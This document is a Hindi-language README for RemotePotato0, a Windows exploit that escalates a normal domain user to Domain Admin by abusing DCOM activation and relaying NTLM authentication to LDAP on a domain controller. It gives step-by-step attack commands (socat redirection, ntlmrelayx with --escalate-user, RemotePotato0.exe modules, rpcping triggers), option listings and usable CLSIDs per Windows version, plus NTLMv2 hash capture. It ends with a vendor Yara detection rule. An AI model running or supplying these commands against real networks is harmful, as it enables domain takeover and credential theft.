
Windows में उपयोगकर्ता से डोमेन एडमिन तक विशेषाधिकार वृद्धि।
अद्यतन 21-10-2022: RemotePotato0 का मुख्य शोषण परिदृश्य RPC->LDAP तय कर दिया गया है। अधिक जानकारी के लिए देखें --> https://twitter.com/splinter_code/status/1583555613950255104
बस एक और "Won't Fix" Windows विशेषाधिकार वृद्धि जो User से Domain Admin तक जाती है।
RemotePotato0 एक शोषण है जो आपको एक सामान्य User से Domain Admin तक अपने विशेषाधिकारों को बढ़ाने की अनुमति देता है।
संक्षेप में:
यह DCOM सक्रियण सेवा का दुरुपयोग करता है और लक्ष्य मशीन पर वर्तमान में लॉग इन किसी भी उपयोगकर्ता के NTLM प्रमाणीकरण को ट्रिगर करता है। आवश्यक है कि एक विशेषाधिकार प्राप्त उपयोगकर्ता उसी मशीन पर लॉग इन हो (जैसे कि Domain Admin उपयोगकर्ता)। एक बार जब NTLM type1 ट्रिगर हो जाता है, तो हम एक क्रॉस-प्रोटोकॉल रिले सर्वर सेट करते हैं जो विशेषाधिकार प्राप्त type1 संदेश प्राप्त करता है और RPC प्रोटोकॉल को अनपैक करके HTTP पर प्रमाणीकरण पैक करके इसे तीसरे संसाधन पर रिले करता है। प्राप्त करने वाले छोर पर आप आगे का रिले नोड (जैसे ntlmrelayx) सेट कर सकते हैं या सीधे विशेषाधिकार प्राप्त संसाधन पर रिले कर सकते हैं। RemotePotato0 आपको मशीन पर लॉग इन सभी उपयोगकर्ताओं के NTLMv2 हैश को पकड़ने और चुराने की भी अनुमति देता है।
हमलावर मशीन (10.0.0.20)
पीड़ित मशीन (10.0.0.45)
पीड़ित डोमेन नियंत्रक (10.0.0.10)
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.0.0.45:9999 &
sudo ntlmrelayx.py -t ldap://10.0.0.10 --no-wcf-server --escalate-user normal_user
नोट: यदि आप Windows Server <= 2016 पर हैं तो आप नेटवर्क रीडायरेक्टर (socat) से बच सकते हैं क्योंकि oxid रिज़ॉल्यूशन स्थानीय रूप से किया जा सकता है।
query user
.\RemotePotato0.exe -m 0 -r 10.0.0.20 -x 10.0.0.20 -p 9999 -s 1
.\RemotePotato0.exe -m 1 -l 9997 -r 10.0.0.20
rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm
query user
.\RemotePotato0.exe -m 2 -s 1
.\RemotePotato0.exe -m 3 -l 9997
rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm
RemotePotato0
@splinter_code & @decoder_it
अनिवार्य तर्क:
-m मॉड्यूल
स्वीकृत मान:
0 - Rpc2Http क्रॉस-प्रोटोकॉल रिले सर्वर + पोटैटो ट्रिगर (डिफ़ॉल्ट)
1 - Rpc2Http क्रॉस-प्रोटोकॉल रिले सर्वर
2 - Rpc कैप्चर (हैश) सर्वर + पोटैटो ट्रिगर
3 - Rpc कैप्चर (हैश) सर्वर
अन्य तर्क: (कुछ आपके द्वारा उपयोग किए जाने वाले मॉड्यूल के आधार पर अनिवार्य और/या वैकल्पिक हो सकते हैं)
-r दूरस्थ HTTP रिले सर्वर IP
-t दूरस्थ HTTP रिले सर्वर पोर्ट (डिफ़ॉल्ट 80)
-x दुष्ट Oxid Resolver IP (डिफ़ॉल्ट 127.0.0.1)
-p दुष्ट Oxid Resolver पोर्ट (डिफ़ॉल्ट 9999)
-l RPC रिले सर्वर सुनने का पोर्ट (डिफ़ॉल्ट 9997)
-s क्रॉस सेशन एक्टिवेशन हमले के लिए सत्र आईडी (डिफ़ॉल्ट अक्षम)
-c CLSID (डिफ़ॉल्ट {5167B42F-C111-47A1-ACC4-8EABE61B0B54})
विभिन्न Windows संस्करणों पर उपयोग योग्य CLSID की सूची:
Windows Server 2019
{0002DF02-0000-0000-C000-000000000046} - BrowserBroker Class
{0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4} - AuthBrokerUI
{5167B42F-C111-47A1-ACC4-8EABE61B0B54} - Easconsent.dll
{924DC564-16A6-42EB-929A-9A61FA7DA06F} - Authentication UI CredUI Out of Proc Helper for Non-AppContainer Clients
{934b410c-43e4-415e-9935-fbc081ba93a9} - UserInfoDialog
{BA441419-0B3F-4FB6-A903-D16CC14CCA44} - CLSID_LockScreenContentionFlyout
{c58ca859-80bc-48df-8f06-ffa94a405bff} - Picker Host
{f65817c8-dd85-4136-89f0-b9d12939f2c4} - IsolatedMessageDialogFactory
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} - SPPUIObjectInteractive Class
{f8842f8e-dafe-4b37-9d38-4e0714a61149} - CastServerInteractiveUser
Windows Server 2016
{924DC564-16A6-42EB-929A-9A61FA7DA06F}
{f65817c8-dd85-4136-89f0-b9d12939f2c4}
{BA441419-0B3F-4FB6-A903-D16CC14CCA44}
{0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4}
{934b410c-43e4-415e-9935-fbc081ba93a9}
{f8842f8e-dafe-4b37-9d38-4e0714a61149}
{0002DF02-0000-0000-C000-000000000046}
{5167B42F-C111-47A1-ACC4-8EABE61B0B54}
{c58ca859-80bc-48df-8f06-ffa94a405bff}
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
Windows Server 2008 R2
{FCC74B77-EC3E-4dd8-A80B-008A702075A9}
{9BA05972-F6A8-11CF-A442-00A0C90A8F39}
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
आप यहां अधिक संपूर्ण सूची पा सकते हैं --> http://ohpe.it/juicy-potato/CLSID/
RemotePotato0 बाइनरी का पता लगाने के लिए Yara नियम:
rule SentinelOne_RemotePotato0_privesc {
meta:
author = "SentinelOne"
description = "Detects RemotePotato0 binary"
reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"
strings:
$import1 = "CoGetInstanceFromIStorage"
$istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii
$meow_header = { 4d 45 4f 57 }
$clsid1 = "{11111111-2222-3333-4444-555555555555}" nocase wide ascii
$clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii
condition:
(uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)
}